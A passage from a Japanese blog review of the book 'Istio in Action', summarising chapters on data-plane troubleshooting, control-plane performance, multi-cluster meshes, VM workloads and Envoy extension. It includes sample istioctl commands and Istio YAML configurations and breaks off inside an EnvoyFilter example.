Action」の第9章は、Istioのセキュリティ機能について包括的かつ実践的な解説を提供しています。著者は、サービス間認証(mTLS)、エンドユーザー認証(JWT)、細かな認可ポリシーの設定、外部認可サービスとの統合など、現代のマイクロサービスアーキテクチャに不可欠なセキュリティ機能を詳細に説明しています。2024年現在の技術動向と比較すると、Istioのセキュリティ機能はさらに進化し、より柔軟で強力になっています。特に、アンビエントメッシュの導入やゼロトラストアーキテクチャのサポート強化は、大規模環境でのセキュリティ管理を大幅に改善しています。Istioは複雑なマイクロサービス環境におけるセキュリティ課題に対する強力なソリューションを提供しています。しかし、その効果的な活用には、継続的な学習と、組織全体でのセキュリティ文化の醸成が不可欠です。Istioのセキュリティ機能は、マイクロサービスアーキテクチャにおけるセキュリティの複雑さを大幅に軽減し、一貫したセキュリティポリシーの適用を可能にします。しかし、同時に著者が強調しているように、これらの機能を効果的に活用するためには、適切な計画と継続的な管理が必要です。最後に、この章から得られる重要な教訓は、セキュリティは単なる技術的な課題ではなく、システム設計、運用プラクティス、そして組織文化全体に関わる問題だということです。Istioは強力なツールを提供しますが、それを効果的に活用するためには、継続的な学習、実験、そして最適化が不可欠です。今後も進化し続けるIstioとともに、セキュリティもまた進化し続ける必要があるのです。Part 3 Istio day-2 operations10 Troubleshooting the data plane「Istio in Action」の第10章「Troubleshooting the data plane」は、Istioのデータプレーンに関するトラブルシューティングについて詳細に解説しています。この章は、実際の運用環境でIstioを使用する際に直面する可能性のある問題に焦点を当て、それらを効果的に診断し解決するための方法を提供しています。Figure 10.1 Components that participate in routing a request より引用特に印象に残ったのは、著者が繰り返し強調している「プロアクティブなトラブルシューティング」の重要性です。著者は、「デバッグのためのデータプレーンの準備は、実際に問題が発生する前に行うべきだ」と述べています。この言葉は、SREの原則である「事後対応よりも予防」を端的に表現しており、Istioの運用におけるベストプラクティスを示唆しています。技術的詳細と実践的応用データプレーンの同期状態の確認著者は、Istioのデータプレーンのトラブルシューティングを始める前に、まずデータプレーンが最新の設定と同期しているかを確認することの重要性を強調しています。これには、istioctl proxy-statusコマンドが使用されます。$ istioctl proxy-statusNAME CDS LDS EDS RDS ISTIOD VERSIONcatalog-68666d4988-q6w42.istioinaction SYNCED SYNCED SYNCED SYNCED istiod-1... 1.22.0このコマンドの出力は、各Envoyプロキシが最新の設定(CDS, LDS, EDS, RDS)と同期しているかを示します。SYNCED状態は正常であり、NOT SENTやSTALEは潜在的な問題を示唆します。著者は、この同期状態の確認が重要である理由を次のように説明しています:データプレーンの設定は最終的に一貫性のあるものですが、即時に反映されるわけではありません。環境の変化(サービス、エンドポイント、ヘルスステータスの変更)や設定の変更は、データプレーンに即座に反映されるわけではありません。大規模なクラスターでは、同期に要する時間がワークロードとイベントの数に比例して増加します。Figure 10.3 Series of events until the configuration of a data-plane component is updated after a workload becomes unhealthy より引用Figure 10.3は、ワークロードが不健全になってからデータプレーンコンポーネントの設定が更新されるまでの一連のイベントを示しています。この図は、設定の同期プロセスの複雑さを視覚的に表現しており、同期状態の確認が重要である理由を理解する上で非常に有用です。SREの視点から、この同期状態の確認は非常に重要です。設定の不整合は予期せぬ動作やエラーの原因となる可能性があるため、定期的な確認とモニタリングを自動化することをおすすめします。Kialiを使用した設定の検証著者は、Kialiを使用してIstioの設定を視覚的に検証する方法を紹介しています。Kialiは、サービスメッシュの状態を可視化し、潜在的な問題を特定するのに役立ちます。$ istioctl dashboard kialihttp://localhost:20001/kialiこのコマンドでKialiダッシュボードにアクセスできます。Kialiの使用は、特に大規模なマイクロサービス環境で非常に有効です。視覚的な表現により、複雑な依存関係やトラフィックパターンを素早く把握でき、問題の早期発見に役立ちます。Envoy設定の詳細分析著者は、Envoyプロキシの設定を詳細に分析する方法について深く掘り下げています。istioctl proxy-configコマンドを使用して、特定のプロキシの設定を検査できます。例えば、特定のサービスのリスナー設定を確認するには:$ istioctl proxy-config listeners deploy/istio-ingressgateway -n istio-systemADDRESS PORT MATCH DESTINATION0.0.0.0 8080 ALL Route: http.80800.0.0.0 15021 ALL Inline Route: /healthz/ready*0.0.0.0 15090 ALL Inline Route: /stats/prometheus*このコマンドは、指定されたデプロイメントのEnvoyプロキシに設定されているリスナーを表示します。著者は、この出力を詳細に解説し、各リスナーの役割と重要性を説明しています。さらに、ルート設定を確認するには:$ istioctl pc routes deploy/istio-ingressgateway -n istio-system --name http.8080 -o json著者は、このコマンドの出力を詳細に解説し、ルーティングの設定がどのように行われているかを説明しています。特に、重み付けされたクラスターの設定や、マッチングルールの詳細について触れています。これらのコマンドを使いこなすことで、トラフィックの流れを詳細に理解し、ルーティングの問題を特定することができます。SREとして、これらのツールを使用して定期的に設定を監査し、意図しない変更や設定ミスを検出することが重要です。アクセスログの活用著者は、Envoyプロキシのアクセスログの重要性と、それを効果的に活用する方法について詳しく説明しています。アクセスログは、リクエストの詳細な情報を提供し、トラブルシューティングに不可欠です。著者は、デフォルトのTEXTフォーマットのログが簡潔であるが理解しにくいことを指摘し、JSONフォーマットへの変更を推奨しています。以下は、JSONフォーマットに変更する方法です:$ istioctl install --set profile=demo \\\\ --set meshConfig.accessLogEncoding=\\"JSON\\"JSONフォーマットのログの例:{ \\"user_agent\\":\\"curl/7.64.1\\", \\"Response_code\\":\\"504\\", \\"response_flags\\":\\"UT\\", \\"start_time\\":\\"2020-08-22T16:35:27.125Z\\", \\"method\\":\\"GET\\", \\"request_id\\":\\"e65a3ea0-60dd-9f9c-8ef5-42611138ba07\\", \\"upstream_host\\":\\"10.1.0.68:3000\\", \\"x_forwarded_for\\":\\"192.168.65.3\\", \\"requested_server_name\\":\\"-\\", \\"bytes_received\\":\\"0\\", \\"istio_policy_status\\":\\"-\\", \\"bytes_sent\\":\\"24\\", \\"upstream_cluster\\": \\"outbound|80|version-v2|catalog.istioinaction.svc.cluster.local\\", \\"downstream_remote_address\\":\\"192.168.65.3:41260\\", \\"authority\\":\\"catalog.istioinaction.io\\", \\"path\\":\\"/items\\", \\"protocol\\":\\"HTTP/1.1\\", \\"upstream_service_time\\":\\"-\\", \\"upstream_local_address\\":\\"10.1.0.69:48016\\", \\"duration\\":\\"503\\", \\"upstream_transport_failure_reason\\":\\"-\\", \\"route_name\\":\\"-\\", \\"downstream_local_address\\":\\"10.1.0.69:8080\\"}著者は、このJSONフォーマットのログの各フィールドの意味を詳細に解説しています。特に、response_flagsフィールドの重要性を強調しており、このフィールドが接続の失敗に関する詳細情報を提供することを説明しています。SREの観点からは、このようなカスタマイズされたログ設定は非常に有用です。特定の条件に基づいてログをフィルタリングすることで、問題の迅速な特定と分析が可能になります。また、ログの集中管理と分析のために、ElasticsearchやSplunkなどのログ管理システムとの統合も検討すべきです。まとめ「Istio in Action」の第10章は、Istioのデータプレーンのトラブルシューティングに関する包括的かつ実践的なガイドを提供しています。著者は、プロアクティブなアプローチの重要性を強調し、問題が発生する前に潜在的な課題を特定し対処することの価値を説いています。この章では、istioctl、Kiali、Envoyの管理インターフェースなど、Istioが提供する豊富なツールセットの効果的な活用方法が詳細に解説されています。これらのツールを適切に使用することで、複雑なマイクロサービス環境での問題診断と解決が大幅に効率化されることが示されています。特に印象的なのは、著者がデータプレーンの同期状態の確認、Envoy設定の詳細分析、アクセスログの活用など、実践的なテクニックを具体的に示している点です。これらの手法は、実際の運用環境で即座に適用可能で、大きな価値があります。著者は、効果的なトラブルシューティングには単なる技術的スキルだけでなく、システム全体を理解し、プロアクティブに問題解決に取り組む姿勢が重要であることを強調しています。この観点は、特に複雑化するマイクロサービス環境において非常に重要です。2024年現在、IstioはアンビエントメッシュやWebAssemblyの進化など、さらなる発展を遂げています。これらの新技術は、トラブルシューティングの手法にも影響を与えており、より効率的で柔軟なアプローチが可能になっています。結論として、この章はIstioのデータプレーンのトラブルシューティングを単なる技術的タスクではなく、継続的な改善プロセスとして捉えることの重要性を示しています。効果的なトラブルシューティング文化を醸成し、チーム全体でスキルとナレッジを共有することが、長期的な運用の成功につながるのです。この章で学んだテクニックと原則を適用し、継続的に改善していくことで、より安定性の高い、レジリエントなシステムを構築・運用することができるでしょう。11 Performance-tuning the control plane「Istio in Action」の第11章は、Istioのコントロールプレーンのパフォーマンス最適化に焦点を当てています。著者は、コントロールプレーンがサービスプロキシを設定する方法、このプロセスを遅くする要因、監視方法、そしてパフォーマンスを向上させるための調整ポイントを詳細に解説しています。特に印象に残ったのは、著者が繰り返し強調している「プロアクティブなパフォーマンス管理」の重要性です。著者は、「デバッグのためのデータプレーンの準備は、実際に問題が発生する前に行うべきだ」と述べています。この考え方は、SREの原則である「事後対応よりも予防」を端的に表現しており、Istioの運用におけるベストプラクティスを示唆しています。技術的詳細と実践的応用コントロールプレーンの目標著者は、コントロールプレーンの主要な目標を「データプレーンを望ましい状態に同期させ続けること」と定義しています。この同期プロセスが適時に行われないと、ファントムワークロードという現象が発生する可能性があります。これは、既に存在しないエンドポイントにトラフィックがルーティングされ、結果としてリクエストが失敗する状況を指します。Figure 11.1 Routing traffic to phantom workloads due to an outdated configuration より引用この図は、ワークロードの状態変化、設定更新の遅延、そして古い設定に基づくトラフィックルーティングの問題を明確に示しています。SREの観点からは、この問題は特に重要です。システムの一貫性と信頼性を維持するために、コントロールプレーンのパフォーマンスを常に監視し、最適化する必要があります。パフォーマンスに影響を与える要因著者は、コントロールプレーンのパフォーマンスに影響を与える主な要因を以下のように特定しています:変更の頻度: 環境の変更が頻繁に発生すると、データプレーンの同期に必要な処理が増加します。割り当てられたリソース: istiodに割り当てられたリソースが需要に対して不足すると、更新の配布が遅くなります。管理対象ワークロードの数: 更新を配布するワークロードが多いほど、より多くの処理能力とネットワーク帯域幅が必要になります。設定のサイズ: より大きなEnvoy設定の配布には、より多くの処理能力とネットワーク帯域幅が必要です。Figure 11.3 The properties that affect control-plane performance より引用この図はこれらの要因を視覚的に表現しています。この図は、コントロールプレーンのパフォーマンスに影響を与える各要素の関係を明確に示しており、パフォーマンス最適化の戦略を立てる上で非常に有用です。パフォーマンスモニタリング著者は、Grafanaダッシュボードを使用してIstioのコントロールプレーンのパフォーマンスを監視する方法を詳細に解説しています。特に、4つのゴールデンシグナル(レイテンシ、飽和度、エラー、トラフィック)に基づいたモニタリングアプローチを推奨しています。例えば、レイテンシを測定するための主要なメトリクスとしてpilot_proxy_convergence_timeが挙げられています。このメトリクスは、プロキシプッシュリクエストがキューに入ってから、ワークロードに配布されるまでの全プロセスの所要時間を測定します。apiVersion: telemetry.istio.io/v1alpha1kind: Telemetrymetadata: name: custom-metrics namespace: istio-systemspec: metrics: - providers: - name: prometheus overrides: - match: metric: PILOT_PROXY_CONVERGENCE_TIME tagOverrides: response_code: value: \\"response.code\\"この設定例は、Istio 1.22(2024年8月現在の最新版)に合わせて更新されています。これにより、pilot_proxy_convergence_timeメトリクスをカスタマイズし、より詳細な分析が可能になります。SREとして、これらのメトリクスを継続的に監視し、異常を早期に検出することが重要です。例えば、pilot_proxy_convergence_timeが突然増加した場合、コントロールプレーンの設定更新プロセスに問題が発生している可能性があり、即時の調査が必要です。パフォーマンス最適化技術著者は、コントロールプレーンのパフォーマンスを最適化するための複数の技術を紹介しています:Sidecarリソースの使用: 著者は、Sidecarリソースを使用してワークロードのイングレスとイグレストラフィックを細かく制御することの重要性を強調しています。これにより、各ワークロードに送信される設定のサイズを大幅に削減できます。apiVersion: networking.istio.io/v1beta1kind: Sidecarmetadata: name: default namespace: istio-systemspec: egress: - hosts: - \\"istio-system/*\\" - \\"prometheus/*\\" outboundTrafficPolicy: mode: REGISTRY_ONLYこの設定例は、メッシュ全体のデフォルトSidecar設定を定義しています。これにより、各サービスプロキシの設定サイズが大幅に削減され、コントロールプレーンの負荷が軽減されます。イベントのバッチ処理: 著者は、PILOT_DEBOUNCE_AFTERとPILOT_DEBOUNCE_MAX環境変数を使用してイベントのバッチ処理を最適化する方法を説明しています。これにより、頻繁な更新による負荷を軽減できます。リソースの割り当て: コントロールプレーンのスケールアウトとスケールアップの戦略について詳細に解説されています。著者は、出力トラフィックがボトルネックの場合はスケールアウト、入力トラフィックがボトルネックの場合はスケールアップを推奨しています。istioctl install --set profile=demo \\\\ --set values.pilot.resources.requests.cpu=2 \\\\ --set values.pilot.resources.requests.memory=4Gi \\\\ --set values.pilot.replicaCount=3この設定例は、istiodのリソース要求とレプリカ数を増やしています。これにより、コントロールプレーンの処理能力と冗長性が向上します。実践的な応用と提案Istioのコントロールプレーンのパフォーマンスを最適化するために、以下の実践的な提案を考えてみましょう:継続的なモニタリングの実装: Prometheusとgrafanaを使用して、コントロールプレーンの主要メトリクス(pilot_proxy_convergence_time、pilot_xds_pushesなど)を継続的に監視します。異常値の検出時に自動アラートを設定することで、問題の早期発見と対応が可能になります。段階的なSidecar設定の導入: まず、メッシュ全体のデフォルトSidecar設定を導入し、その後各サービスに特化したSidecar設定を段階的に実装します。これにより、設定サイズと更新頻度を大幅に削減できます。イベントバッチ処理の最適化: 環境変数PILOT_DEBOUNCE_AFTERとPILOT_DEBOUNCE_MAXを調整し、イベントのバッチ処理を最適化します。ただし、過度の遅延を避けるため、慎重に調整する必要があります。リソース割り当ての定期的な見直し: コントロールプレーンのCPUとメモリ使用率を定期的に確認し、必要に応じてリソースを調整します。特に、クラスターの成長に合わせて、istiodのレプリカ数を適切に増やすことが重要です。パフォーマンステストの自動化: 定期的にパフォーマンステストを実行し、設定変更やクラスターの成長がコントロールプレーンのパフォーマンスに与える影響を評価します。これにより、プロアクティブな最適化が可能になります。アンビエントメッシュの検討: 大規模環境では、アンビエントメッシュの採用を検討します。これにより、コントロールプレーンの負荷を大幅に軽減し、より効率的なリソース利用が可能になります。まとめ「Istio in Action」の第11章は、Istioのコントロールプレーンのパフォーマンス最適化について包括的かつ実践的な洞察を提供しています。著者は、パフォーマンスに影響を与える要因を明確に特定し、それぞれに対する最適化戦略を提示しています。特に印象的だったのは、著者がパフォーマンス最適化を単なる技術的な問題ではなく、システム設計と運用プラクティス全体に関わる課題として捉えている点です。Sidecarリソースの適切な使用、イベントのバッチ処理、リソース割り当ての最適化など、提案された戦略は、いずれも実際の運用環境で即座に適用可能で大きな価値があります。SREの観点からは、この章で提示されたモニタリングアプローチと最適化技術は非常に重要です。4つのゴールデンシグナルに基づいたモニタリング、継続的なパフォーマンス測定、そして段階的な最適化アプローチは、大規模なマイクロサービス環境での安定性と効率性を維持する上で不可欠です。2024年現在の技術動向を踏まえると、本章で説明されている原則は依然として有効ですが、アンビエントメッシュやWaypoint Proxyなどの新技術により、さらに効率的なパフォーマンス最適化が可能になっています。これらの新技術を適切に活用することで、より大規模で複雑な環境でもIstioを効果的に運用できるようになっています。Part 4 Istio in your organization12 Scaling Istio in your organization「Istio in Action」の第12章は、Istioを組織内で大規模に展開する方法に焦点を当てています。著者は、マルチクラスター環境でのIstioの導入、クラスター間の通信の確立、そしてサービスメッシュの拡張について詳細に解説しています。特に印象に残ったのは、著者が繰り返し強調している「メッシュの価値は、より多くのワークロードがそれに参加するほど増加する」という考え方です。この言葉は、Istioの導入を単なる技術的な課題ではなく、組織全体のアーキテクチャ戦略として捉える重要性を示唆しています。マルチクラスターサービスメッシュの利点著者は、マルチクラスターサービスメッシュの主な利点を以下のように説明しています:改善された分離: チーム間の影響を最小限に抑える障害の境界: クラスター全体に影響を与える可能性のある設定や操作の範囲を制限する規制とコンプライアンス: センシティブなデータにアクセスするサービスを他のアーキテクチャ部分から制限する可用性とパフォーマンスの向上: 異なる地域でクラスターを実行し、最も近いクラスターにトラフィックをルーティングするマルチクラウドとハイブリッドクラウド: 異なる環境でワークロードを実行する能力これらの利点は、現代の複雑な分散システム環境において非常に重要です。特に、SREの観点からは、可用性の向上と障害の局所化は、システムの信頼性を大幅に向上させる可能性があります。Figure 12.1 A multi-cluster service mesh requires cross-cluster discovery, connectivity, and common trust. より引用この図は、クラスター間の発見、接続性、共通信頼の重要性を視覚的に表現しており、マルチクラスター環境の複雑さを理解する上で非常に有用です。技術的詳細と実践的応用マルチクラスター導入モデル著者は、Istioのマルチクラスター導入モデルを3つに分類しています:プライマリ-リモート(共有コントロールプレーン)Figure 12.2 Primary-remote deployment model より引用プライマリ-プライマリ(複製されたコントロールプレーン)Figure 12.3 Primary-primary deployment model より引用外部コントロールプレーンFigure 12.4 The external control plane deployment model より引用これらのモデルの中で、著者は特にプライマリ-プライマリモデルに焦点を当てています。このモデルでは、各クラスターに独自のIstioコントロールプレーンが存在し、高可用性を実現しています。クラスター間のワークロード発見著者は、クラスター間でのワークロード発見のメカニズムを詳細に説明しています。特に興味深いのは、Kubernetes APIサーバーへのアクセスを制御するためのRBACの使用です。apiVersion: v1kind: Secretmetadata: name: istio-remote-secret-east-cluster namespace: istio-systemstringData: east-cluster: | apiVersion: v1 kind: Config clusters: - cluster: certificate-authority-data: server: https://east-cluster-api-server:443 name: east-cluster users: - name: east-cluster user: token: contexts: - context: cluster: east-cluster user: east-cluster name: east-cluster current-context: east-clusterこのサンプルコードは、リモートクラスターへのアクセスを設定するためのシークレットを示しています。これは、Istio 1.22(2024年8月現在の最新版)でも同様に使用されています。このアプローチにより、クラスター間で安全にワークロードを発見し、通信を確立することができます。クラスター間の接続性著者は、クラスター間の接続性を確立するためのイースト-ウェストゲートウェイの概念を導入しています。これは、異なるネットワーク間でトラフィックをルーティングするための特別なIngressゲートウェイです。apiVersion: install.istio.io/v1alpha1kind: IstioOperatormetadata: name: istio-eastwestgateway namespace: istio-systemspec: profile: empty components: ingressGateways: - name: istio-eastwestgateway label: istio: eastwestgateway enabled: true k8s: env: - name: ISTIO_META_ROUTER_MODE value: \\"sni-dnat\\"このサンプルコードは、イースト-ウェストゲートウェイの設定を示しています。ISTIO_META_ROUTER_MODEをsni-dnatに設定することで、SNIベースのルーティングが有効になり、クラスター間のトラフィックを効率的に管理できます。クラスター間の認証と認可著者は、クラスター間の通信を保護するための相互TLS(mTLS)の使用と、クラスター間での認可ポリシーの適用について詳細に説明しています。apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: allow-only-ingress namespace: istioinactionspec: action: ALLOW rules: - from: - source: principals: [\\"cluster.local/ns/istio-system/sa/istio-ingressgateway-service-account\\"]このサンプルコードは、特定のソース(この場合はIngressゲートウェイ)からのトラフィックのみを許可する認可ポリシーを示しています。これにより、クラスター間でのセキュアな通信が可能になります。実践的な応用と提案Istioのマルチクラスター機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略: まず小規模なプロジェクトでマルチクラスター設定を試験的に導入し、徐々に範囲を拡大していくことをおすすめします。これにより、チームはマルチクラスター環境の複雑さに慣れることができ、潜在的な問題を早期に特定できます。ネットワークトポロジーの最適化: クラスター間のレイテンシーを最小限に抑えるため、地理的に分散したクラスターの配置を慎重に計画します。例えば、主要な顧客基盤に近い場所にクラスターを配置することで、全体的なパフォーマンスを向上させることができます。セキュリティポリシーの統一: マルチクラスター環境全体で一貫したセキュリティポリシーを実装します。これには、共通のmTLS設定、統一された認可ポリシー、そしてクラスター間での証明書管理の調和が含まれます。観測可能性の強化: Istioの観測可能性機能を活用し、クラスター間のトラフィックフローを包括的に可視化します。Grafana、Jaeger、Kialiなどのツールを統合し、マルチクラスター環境全体のパフォーマンスと健全性を監視します。災害復旧計画の策定: マルチクラスター環境の利点を活かし、強固な災害復旧計画を策定します。これには、クラスター間でのトラフィックの動的な再ルーティング、データの地理的レプリケーション、そして自動フェイルオーバーメカニズムの実装が含まれます。継続的な学習と最適化: マルチクラスター環境は複雑であり、常に進化しています。定期的な性能評価、セキュリティ監査、そして新しいIstioの機能やベストプラクティスの採用を通じて、環境を継続的に最適化します。まとめ「Istio in Action」の第12章は、Istioを用いたマルチクラスターサービスメッシュの実装について包括的かつ実践的な洞察を提供しています。著者は、マルチクラスター環境の利点、技術的な課題、そして具体的な実装方法を詳細に解説しており、読者に豊富な知識と実践的なガイダンスを提供しています。特に印象的だったのは、著者がマルチクラスター環境を単なる技術的な課題ではなく、組織全体のアーキテクチャ戦略として捉えている点です。改善された分離、障害の局所化、規制対応、そして地理的な可用性の向上など、マルチクラスターアプローチの多岐にわたる利点は、現代の複雑なマイクロサービス環境において非常に価値があります。SREの観点からは、この章で提示されたマルチクラスター戦略は、システムの信頼性、可用性、そしてスケーラビリティを大幅に向上させる可能性を秘めています。特に、地理的に分散したクラスター間でのトラフィック管理、セキュリティポリシーの統一的な適用、そして包括的な観測可能性の実現は、大規模で複雑な分散システムの運用を大幅に簡素化します。2024年現在の技術動向を踏まえると、本章で説明されている原則は依然として有効ですが、アンビエントメッシュやKubernetes Gateway APIのサポートなど、新しい機能によりさらに強化されています。これらの新技術は、マルチクラスター環境でのIstioの採用をより容易にし、より効率的な運用を可能にしています。最後に、この章から得られる重要な教訓は、マルチクラスターサービスメッシュの実装は技術的な課題であると同時に、組織的な課題でもあるということです。成功のためには、技術チーム間の緊密な協力、明確なガバナンスモデル、そして継続的な学習と最適化が不可欠です。13 Incorporating virtual machine workloads into the mesh「Istio in Action」の第13章は、Istioのサービスメッシュに仮想マシン(VM)ワークロードを統合する方法について詳細に解説しています。この章は、Kubernetes環境だけでなく、レガシーなVMベースのワークロードも含めた包括的なサービスメッシュの構築方法を提供しており、多くの組織が直面する現実的な課題に対するソリューションを示しています。著者は、VMワークロードをIstioメッシュに統合する必要性を明確に説明しています。特に印象に残ったのは、以下の点です:レガシーワークロードの重要性: 著者は、多くの組織が完全にKubernetesに移行できない理由を説明しています。規制要件、アプリケーションの複雑さ、VMに特有の依存関係などが挙げられており、これは現実のエンタープライズ環境を反映しています。段階的な近代化: 著者は、VMワークロードをメッシュに統合することで、段階的な近代化が可能になると主張しています。これは、全てを一度に変更するリスクを軽減し、安全かつ効率的な移行を可能にします。統一されたセキュリティとオブザーバビリティ: VMワークロードをメッシュに統合することで、Kubernetes上のワークロードと同じセキュリティポリシーと観測可能性を適用できる点が強調されています。これは、一貫したセキュリティ体制の維持と、システム全体の可視性の確保に非常に重要です。Figure 13.1 What it takes for a workload to become part of the mesh より引用この図は、モノリシックなアプリケーション(ACMEmono)からマイクロサービスへの移行過程を示しています。VMで動作するレガシーコンポーネントと、Kubernetes上の新しいマイクロサービスが共存している様子がわかります。この構造は、多くの組織が直面している現実的な移行シナリオを端的に表現しています。技術的詳細と実践的応用Istioの最新VMサポート機能著者は、Istioの最新のVMサポート機能について詳細に解説しています。特に注目すべき点は以下の通りです:WorkloadGroup: VMワークロードのグループを定義するためのリソース。これにより、VMインスタンスの共通プロパティを定義し、高可用性を実現できます。WorkloadEntry: 個々のVMワークロードを表すリソース。これにより、VMをKubernetesのPodと同様に扱うことができます。istio-agent: VMにインストールされるIstioのコンポーネント。これにより、VMがメッシュの一部として機能し、トラフィックの管理、セキュリティ、観測可能性の機能を利用できるようになります。以下は、WorkloadGroupの例です(Istio 1.22現在):apiVersion: networking.istio.io/v1alpha3kind: WorkloadGroupmetadata: name: product-catalog-vm namespace: ecommercespec: metadata: labels: app: product-catalog version: v1 template: serviceAccount: product-catalog-sa network: vm-network probe: periodSeconds: 5 initialDelaySeconds: 10 httpGet: port: 8080 path: /healthzこの設定により、product-catalogアプリケーションのVMワークロードグループが定義されます。ラベル、サービスアカウント、ネットワーク設定、そしてヘルスチェックの設定が含まれており、これらはKubernetesのDeploymentリソースに類似しています。VMワークロードの統合プロセス著者は、VMワークロードをIstioメッシュに統合するプロセスを段階的に説明しています。主要なステップは以下の通りです:istio-agentのインストール: VMにistio-agentをインストールし、必要な設定を行います。ワークロードIDのプロビジョニング: VMワークロードに適切なIDを割り当てます。これは、メッシュ内での認証と認可に使用されます。DNS解決の設定: クラスター内のサービスを解決するために、DNSプロキシを設定します。トラフィックのキャプチャ: iptablesルールを使用して、VMからのトラフィックをIstioプロキシにリダイレクトします。特に印象的だったのは、著者がこのプロセスの自動化の重要性を強調している点です。大規模な環境では、手動でこれらのステップを実行することは現実的ではありません。Figure 13.9 Virtual machine integration in the service mesh より引用この図は、VMがどのようにしてIstioメッシュに統合されるかを視覚的に示しています。VMにistio-agentがインストールされ、East-Westゲートウェイを介してクラスター内のサービスと通信している様子がわかります。セキュリティと観測可能性著者は、VMワークロードをメッシュに統合することで得られるセキュリティと観測可能性の利点について詳しく説明しています。特に注目すべき点は以下の通りです:相互TLS(mTLS): VMワークロードとKubernetesワークロードの間で自動的にmTLSが設定され、通信が暗号化されます。統一されたアクセス制御: AuthorizationPolicyリソースを使用して、VMワークロードに対しても細かなアクセス制御が可能になります。分散トレーシング: Jaegerなどのツールを使用して、VMワークロードを含むエンドツーエンドのトレースが可能になります。メトリクス収集: PrometheusがVMワークロードのメトリクスも収集できるようになり、統一されたモニタリングが可能になります。以下は、VMワークロードに対するAuthorizationPolicyの例です(Istio 1.22現在):apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: product-catalog-policy namespace: ecommercespec: selector: matchLabels: app: product-catalog action: ALLOW rules: - from: - source: principals: [\\"cluster.local/ns/ecommerce/sa/frontend\\"] - to: - operation: methods: [\\"GET\\"]この設定により、product-catalogサービス(VMで動作)に対するアクセスが、frontendサービスアカウントからのGETリクエストのみに制限されます。これは、Kubernetes上のワークロードに適用されるポリシーと完全に一貫しています。実践的な応用と提案VMワークロードのIstioメッシュへの統合を効果的に行うために、以下の実践的な提案を考えてみましょう:段階的な導入戦略: まず小規模なプロジェクトでVM統合を試験的に導入し、徐々に範囲を拡大していくことをおすすめします。これにより、チームはVM統合の複雑さに慣れることができ、潜在的な問題を早期に特定できます。自動化パイプラインの構築: VMのプロビジョニング、istio-agentのインストール、メッシュへの統合までを自動化するパイプラインを構築します。TerraformやAnsibleなどのツールを活用し、一貫性のある再現可能なプロセスを確立します。ネットワークトポロジーの最適化: VMとKubernetesクラスター間のネットワーク接続を最適化します。可能であれば、VPCピアリングやクラウドプロバイダのSDNを活用して、レイテンシーを最小限に抑えます。セキュリティポリシーの統一: VMワークロードとKubernetesワークロードに対して一貫したセキュリティポリシーを適用します。AuthorizationPolicyやPeerAuthenticationリソースを活用し、ゼロトラストアーキテクチャを実現します。観測可能性の強化: PrometheusやJaegerなどのツールを活用し、VMワークロードの詳細なメトリクスとトレースを収集します。Grafanaダッシュボードを作成し、VMとKubernetesワークロードの統合ビューを提供します。災害復旧計画の策定: VMワークロードを含めた包括的な災害復旧計画を策定します。特に、VMのフェイルオーバーやデータの一貫性確保に注意を払います。パフォーマンス最適化: VMワークロードのIstio統合によるオーバーヘッドを慎重に監視し、必要に応じて最適化します。特に、リソース制約のあるVMでは、アンビエントメッシュの採用を検討します。継続的な学習と最適化: VMワークロードの統合は複雑であり、常に進化しています。定期的な性能評価、セキュリティ監査、そして新しいIstioの機能やベストプラクティスの採用を通じて、環境を継続的に最適化します。まとめ「Istio in Action」の第13章は、VMワークロードをIstioメッシュに統合するための包括的かつ実践的なガイドを提供しています。著者は、この統合の技術的な詳細だけでなく、組織がなぜこのアプローチを採用すべきかという戦略的な理由も明確に説明しています。特に印象的だったのは、著者がVMワークロードの統合を単なる技術的な課題ではなく、組織全体のアーキテクチャ戦略として捉えている点です。レガシーシステムの段階的な近代化、セキュリティとオブザーバビリティの統一、そして運用の簡素化など、VMワークロード統合の多岐にわたる利点は、現代の複雑なハイブリッド環境において非常に価値があります。SREの観点からは、この章で提示されたVM統合戦略は、システムの一貫性、セキュリティ、そして観測可能性を大幅に向上させる可能性を秘めていまると思います。14 Extending Istio on the request path「Istio in Action」の第14章は、IstioのデータプレーンであるEnvoyプロキシの拡張性に焦点を当てています。この章では、Envoyフィルターの理解から始まり、EnvoyFilterリソースの使用、Luaスクリプトによるカスタマイズ、そしてWebAssembly(Wasm)を用いた高度な拡張まで、幅広いトピックがカバーされています。著者は、Istioが提供する豊富な機能セットを超えて、組織固有のニーズに合わせてIstioを拡張する必要性を強調しています。特に印象的だったのは、以下の一文です:\\"Istioを採用する組織は、Istioが標準機能では満たせない他の制約や前提条件を持っている可能性が高いでしょう。これらの制約により適合させるために、Istioの機能を拡張する必要が出てくる可能性が高いです。:Organizations adopting Istio will likely have other constraints or assumptions that Istio may not fulfill out of the box. You will likely need to extend Istio\'s capabilities to more nicely fit within these constraints.\\"この言葉は、Istioを実際の運用環境に導入する際の現実的な課題を端的に表現しており、カスタマイズの重要性を強調しています。著者は、Envoyの拡張性を活用することで、以下のような機能を実現できると説明しています:レート制限や外部認証サービスとの統合ヘッダーの追加、削除、変更リクエストペイロードのエンリッチメントカスタムプロトコル(HMAC署名/検証など)の実装非標準のセキュリティトークン処理これらの拡張機能は、実際のプロダクション環境で直面する可能性が高い要件であり、Istioの柔軟性を示しています。技術的詳細と実践的応用Envoyフィルターの理解著者は、Envoyの内部アーキテクチャがリスナーとフィルターを中心に構築されていることを説明しています。特に、HTTP Connection Manager(HCM)の重要性が強調されており、これがHTTPリクエストの処理と様々なHTTPフィルターの適用を担当していることが解説されています。Figure 14.3 HttpConnectionManager is a popular and useful network filter for converting a stream of bytes into HTTP (HTTP/1, HTTP/2, and so on) requests and routing them based on L7 properties like headers or body details. より引用この図は、HCMがバイトストリームをHTTPリクエストに変換し、L7プロパティに基づいてルーティングする様子を視覚的に示しており、Envoyの内部動作を理解する上で非常に有用です。EnvoyFilterリソースの使用著者は、IstioのEnvoyFilterリソースを使用してEnvoyの設定を直接カスタマイズする方法を詳細に説明しています。以下は、タップフィルターを設定するEnvoyFilterの例です:apiVersion: networking.istio.io/v1alpha3kind: EnvoyFiltermetadata: name: tap-filter namespace: istioinactionspec: workloadSelector: labels: app: webapp configPatches: - applyTo: HTTP_FILTER match: context: SIDECAR_INBOUND listener: portNumber: 8080 filterChain: filter: name: \\"envoy.filters.network.http_connection_manager\\" subFilter: name: \\"envoy.filters.http.router\\" patch: operation: INSERT_BEFORE value: name: envoy.filters.http.tap typed_config: \\"@type\\": 